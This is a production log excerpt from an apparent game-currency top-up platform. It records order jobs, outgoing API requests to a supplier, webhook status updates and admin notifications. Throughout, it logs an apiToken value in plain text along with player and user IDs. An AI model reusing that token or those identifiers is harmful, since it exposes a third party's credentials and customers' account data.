[2026-03-24 16:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HV39p-1774357293","operation_id":163786,"processed":0,"errors":0} 
[2026-03-24 16:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pt7RPrwaNsno9UTR5ssZFnnZBvx7mwp1","execution_time":"2026-03-24 16:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HV39p-1774357293","operation_id":163786} 
[2026-03-24 16:02:03] production.INFO: Constructing job for order: 178876  
[2026-03-24 16:02:06] production.INFO: Handling job for order: 178876  
[2026-03-24 16:02:06] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:02:06] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:02:06] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=35b06847-9528-4842-8802-c1ea40167ede&Player_ID=6115139035  
[2026-03-24 16:02:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=35b06847-9528-4842-8802-c1ea40167ede&Player_ID=6115139035","has_body":false} 
[2026-03-24 16:02:07] production.INFO: Operation sent successfully {"operation_id":163787,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qCg3rQ0-1774357327","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:02:07"}},"processed_data":{"order_number":"ORD-qCg3rQ0-1774357327","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:02:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HV39p-1774357293","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:02:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-HV39p-1774357293","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:02:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:02:07] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178875} 
[2026-03-24 16:02:07] production.INFO: Order updated successfully. Order ID: 178875, Status: completed  
[2026-03-24 16:02:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HV39p-1774357293","status":"completed","codes_count":0} 
[2026-03-24 16:02:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:02:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qCg3rQ0-1774357327","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:02:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-qCg3rQ0-1774357327","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:02:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:02:34] production.INFO: SendAcceptReject: Notification queued {"user_id":418,"notification_type":"order_approved","reference_id":178876} 
[2026-03-24 16:02:34] production.INFO: Order updated successfully. Order ID: 178876, Status: completed  
[2026-03-24 16:02:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qCg3rQ0-1774357327","status":"completed","codes_count":0} 
[2026-03-24 16:02:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 418  
[2026-03-24 16:03:31] production.INFO: Creating credit request {"payload":{"method_id":"16","amount":"1500.0","mainamount":"1500","operation_number":"879","note":"عند حيدر","currency_id":"2"},"user_id":71} 
[2026-03-24 16:03:37] production.INFO: Creating credit request {"payload":{"method_id":"16","amount":"1500.0","mainamount":"1500","operation_number":"1879","note":"عند حيدر","currency_id":"2"},"user_id":71} 
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:03:40] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:03:40] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18645,"user_id":71,"amount":1500.0,"admins_notified":7} 
[2026-03-24 16:04:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"01oUC1dIkGO9mDUOREQdiWOWxXX0dlVH","execution_time":"2026-03-24 16:04:01"} 
[2026-03-24 16:04:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"01oUC1dIkGO9mDUOREQdiWOWxXX0dlVH","execution_time":"2026-03-24 16:04:01"} 
[2026-03-24 16:04:41] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 16:04:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 93  
[2026-03-24 16:04:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 274  
[2026-03-24 16:05:00] production.INFO: Constructing job for order: 178877  
[2026-03-24 16:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 16:05:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:05:01] production.INFO: Executing GetProducts task...  
[2026-03-24 16:05:03] production.INFO: async() رجع: true  
[2026-03-24 16:05:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:05:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:05:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:05:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:05:04] production.INFO: Handling job for order: 178877  
[2026-03-24 16:05:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:05:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:05:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=20000&uuid=9fb5429e-155b-44d6-b6a1-b1a5ec7c69f5&Player_ID=589289930  
[2026-03-24 16:05:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=20000&uuid=9fb5429e-155b-44d6-b6a1-b1a5ec7c69f5&Player_ID=589289930","has_body":false} 
[2026-03-24 16:05:05] production.INFO: Operation sent successfully {"operation_id":163788,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-z9SPDAC-1774357505","amount":2.03014999999999989910293152206577360630035400390625,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 16:05:05"}},"processed_data":{"order_number":"ORD-z9SPDAC-1774357505","amount":2.03014999999999989910293152206577360630035400390625,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 16:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02"} 
[2026-03-24 16:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","total_operations":1,"sites_count":1} 
[2026-03-24 16:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-z9SPDAC-1774357505"]} 
[2026-03-24 16:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-z9SPDAC-1774357505","operation_id":163788} 
[2026-03-24 16:06:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-z9SPDAC-1774357505","operation_id":163788,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:06:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-z9SPDAC-1774357505","operation_id":163788,"processed":0,"errors":0} 
[2026-03-24 16:06:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"vCOhbcWnpvmxg20C6G8Toqy9qM4razV8","execution_time":"2026-03-24 16:06:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-z9SPDAC-1774357505","operation_id":163788} 
[2026-03-24 16:06:15] production.INFO: Constructing job for order: 178878  
[2026-03-24 16:06:18] production.INFO: Handling job for order: 178878  
[2026-03-24 16:06:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:06:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:06:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=608a0846-d673-466c-a256-fbc788d0a8ad&Player_ID=2818551958  
[2026-03-24 16:06:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=608a0846-d673-466c-a256-fbc788d0a8ad&Player_ID=2818551958","has_body":false} 
[2026-03-24 16:06:18] production.INFO: Operation sent successfully {"operation_id":163789,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kkRI1Bs5-1774357578","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:06:18"}},"processed_data":{"order_number":"ORD-kkRI1Bs5-1774357578","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:06:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-z9SPDAC-1774357505","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 16:06:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-z9SPDAC-1774357505","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 16:06:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:06:22] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":178877} 
[2026-03-24 16:06:22] production.INFO: Order updated successfully. Order ID: 178877, Status: completed  
[2026-03-24 16:06:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-z9SPDAC-1774357505","status":"completed","codes_count":0} 
[2026-03-24 16:06:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 16:06:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kkRI1Bs5-1774357578","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:06:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-kkRI1Bs5-1774357578","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:06:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:06:49] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178878} 
[2026-03-24 16:06:49] production.INFO: Order updated successfully. Order ID: 178878, Status: completed  
[2026-03-24 16:06:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kkRI1Bs5-1774357578","status":"completed","codes_count":0} 
[2026-03-24 16:06:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 16:07:32] production.INFO: Constructing job for order: 178879  
[2026-03-24 16:07:33] production.INFO: Handling job for order: 178879  
[2026-03-24 16:07:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:07:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:07:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=eb689deb-4f48-4d46-91bb-84d43adff703&Player_ID=2818551958  
[2026-03-24 16:07:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=eb689deb-4f48-4d46-91bb-84d43adff703&Player_ID=2818551958","has_body":false} 
[2026-03-24 16:07:34] production.INFO: Operation sent successfully {"operation_id":163790,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8grM-1774357654","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:07:34"}},"processed_data":{"order_number":"ORD-8grM-1774357654","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:07:56] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"request_approved","reference_id":18644} 
[2026-03-24 16:07:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:08:00] production.INFO: SendAcceptReject: Notification queued {"user_id":71,"notification_type":"request_approved","reference_id":18645} 
[2026-03-24 16:08:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 71  
[2026-03-24 16:08:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01"} 
[2026-03-24 16:08:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","total_operations":1,"sites_count":1} 
[2026-03-24 16:08:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-8grM-1774357654"]} 
[2026-03-24 16:08:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:08:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:08:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8grM-1774357654","operation_id":163790} 
[2026-03-24 16:08:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8grM-1774357654","operation_id":163790,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:08:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8grM-1774357654","operation_id":163790,"processed":0,"errors":0} 
[2026-03-24 16:08:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rnpiDuz8nNnMcFB6WQzReNGl6ZC51nPA","execution_time":"2026-03-24 16:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8grM-1774357654","operation_id":163790} 
[2026-03-24 16:08:10] production.INFO: Constructing job for order: 178880  
[2026-03-24 16:08:11] production.INFO: Handling job for order: 178880  
[2026-03-24 16:08:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:08:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:08:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=bba5f4bb-2a53-4f53-b556-cc9d6d44aa7d&Player_ID=52312272747  
[2026-03-24 16:08:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=bba5f4bb-2a53-4f53-b556-cc9d6d44aa7d&Player_ID=52312272747","has_body":false} 
[2026-03-24 16:08:11] production.INFO: Operation sent successfully {"operation_id":163791,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Vfwa5xH-1774357691","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:08:11"}},"processed_data":{"order_number":"ORD-Vfwa5xH-1774357691","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:08:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8grM-1774357654","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:08:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-8grM-1774357654","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:08:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:08:25] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178879} 
[2026-03-24 16:08:25] production.INFO: Order updated successfully. Order ID: 178879, Status: completed  
[2026-03-24 16:08:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8grM-1774357654","status":"completed","codes_count":0} 
[2026-03-24 16:08:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 16:08:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Vfwa5xH-1774357691","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:08:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-Vfwa5xH-1774357691","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:08:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:08:31] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":178880} 
[2026-03-24 16:08:31] production.INFO: Order updated successfully. Order ID: 178880, Status: completed  
[2026-03-24 16:08:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Vfwa5xH-1774357691","status":"completed","codes_count":0} 
[2026-03-24 16:08:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 16:09:46] production.INFO: Constructing job for order: 178882  
[2026-03-24 16:09:46] production.INFO: Constructing job for order: 178883  
[2026-03-24 16:09:47] production.INFO: Handling job for order: 178882  
[2026-03-24 16:09:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:09:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:09:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=23e9e6d5-78f0-4386-947d-fe1c1306b4a8&Player_ID=52312272747  
[2026-03-24 16:09:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=23e9e6d5-78f0-4386-947d-fe1c1306b4a8&Player_ID=52312272747","has_body":false} 
[2026-03-24 16:09:48] production.INFO: Operation sent successfully {"operation_id":163792,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KFjjVl-1774357788","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:09:48"}},"processed_data":{"order_number":"ORD-KFjjVl-1774357788","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:09:48] production.INFO: Handling job for order: 178883  
[2026-03-24 16:09:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:09:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:09:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=5200&uuid=d371a6c4-7909-4e49-bead-09489a0d5c65&Player_ID=109794215  
[2026-03-24 16:09:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=5200&uuid=d371a6c4-7909-4e49-bead-09489a0d5c65&Player_ID=109794215","has_body":false} 
[2026-03-24 16:09:49] production.INFO: Operation sent successfully {"operation_id":163793,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qNvesb3l-1774357789","amount":8.755018480000000380414348910562694072723388671875,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 16:09:49"}},"processed_data":{"order_number":"ORD-qNvesb3l-1774357789","amount":8.755018480000000380414348910562694072723388671875,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 16:09:58] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-KFjjVl-1774357788","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:09:58] production.INFO: Processed webhook data (normalized) {"id":"ORD-KFjjVl-1774357788","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:09:58] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:09:58] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":178882} 
[2026-03-24 16:09:58] production.INFO: Order updated successfully. Order ID: 178882, Status: completed  
[2026-03-24 16:09:58] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-KFjjVl-1774357788","status":"completed","codes_count":0} 
[2026-03-24 16:10:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 16:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01"} 
[2026-03-24 16:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","total_operations":1,"sites_count":1} 
[2026-03-24 16:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-qNvesb3l-1774357789"]} 
[2026-03-24 16:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 16:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qNvesb3l-1774357789","operation_id":163793} 
[2026-03-24 16:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qNvesb3l-1774357789","operation_id":163793,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 16:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qNvesb3l-1774357789","operation_id":163793,"processed":0,"errors":0} 
[2026-03-24 16:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"RZsEFJso21PnZtNyCwxdxQ3wOMdpPBX5","execution_time":"2026-03-24 16:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qNvesb3l-1774357789","operation_id":163793} 
[2026-03-24 16:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 16:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 16:10:03] production.INFO: async() رجع: true  
[2026-03-24 16:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:10:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:10:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:11:16] production.INFO: Constructing job for order: 178884  
[2026-03-24 16:11:17] production.INFO: Handling job for order: 178884  
[2026-03-24 16:11:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:11:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:11:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=bace1154-d54a-402d-9265-f2ef69a3f753&Player_ID=110192261  
[2026-03-24 16:11:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=bace1154-d54a-402d-9265-f2ef69a3f753&Player_ID=110192261","has_body":false} 
[2026-03-24 16:11:17] production.INFO: Operation sent successfully {"operation_id":163794,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7cYjSHRP-1774357877","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 16:11:17"}},"processed_data":{"order_number":"ORD-7cYjSHRP-1774357877","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 16:12:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qNvesb3l-1774357789","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
